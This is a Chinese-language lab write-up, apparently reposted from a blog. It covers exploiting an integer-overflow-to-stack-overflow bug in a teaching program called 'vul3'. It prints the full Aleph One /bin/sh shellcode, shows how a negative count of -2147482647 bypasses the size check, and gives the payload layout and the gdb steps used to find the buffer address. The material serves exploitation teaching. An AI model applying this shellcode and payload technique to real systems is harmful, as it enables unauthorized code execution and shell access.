緩沖區溢出實驗 3 負數溢出


實驗環境、代碼、及准備

 https://www.cnblogs.com/lqerio/p/12870834.html

 

vul3

 

 

 

 

 

分析Vul3可知輸入為整數count和字符串in。vul3中使用if判斷來防溢出,問題在於一個足夠小點負數可以滿足 if 的條件進入memcpy函數,而負數*sizeof(widget_t)可能溢出產生正數。故要對vul3棧溢出攻擊只需要構造合適的負數count產生溢出和字符串in覆蓋buf然后覆蓋ebp,ret即可。

 

shellcode(構造過程)

原理是運行/bin/sh 來得到shell,構造過程是將具有運行/bin/sh的C代碼轉換成有相同功能的機器碼。注意代碼中用到  0  的地方改成用 xor  eax,eax,這樣可以避免復制字符串時遇到/0 中斷。

下面的shellcode長度為45字節(不含/0)

 

/*

 * Aleph One shellcode.

 */

static const char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

exploit3

由vul3可知buf數組20*1000=20000字節

溢出部分如下,widget-t結構體20字節。Count*20>20000即可。

  if (count < MAX_WIDGETS)

memcpy(buf, in, count * sizeof(struct widget_t));

設count 為1001,符合1001*20>20000. 1001 16進制為\X3e9。

負數符號位為1,得到\x800003e9。計算可知由於溢出,20*\x3e9=20*\x800003e9。\x800003e9在計算機中存儲為補碼2147482647.故count為  -2147482647.

然后構造payload。Buf大小為20000字節,故返回地址在20008字節處。覆蓋該地址內存為buf的起始地址,然后buf覆蓋為shellcode即可。

Payload=count(12字節)+45字節shellcode+19965nop+4nop(ebp)+ret(buf基址)。

Buf基址:先隨便填payload,然后使用gdb調試得到;

 

 

 

Gdb vul3

set args 3,666

disas foo

break *0x0804850b

r

print &buf

 

 

 

 

 

得到buf基址 0xbfffa140

填充payload最后4字節即可

 

 

運行結果

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM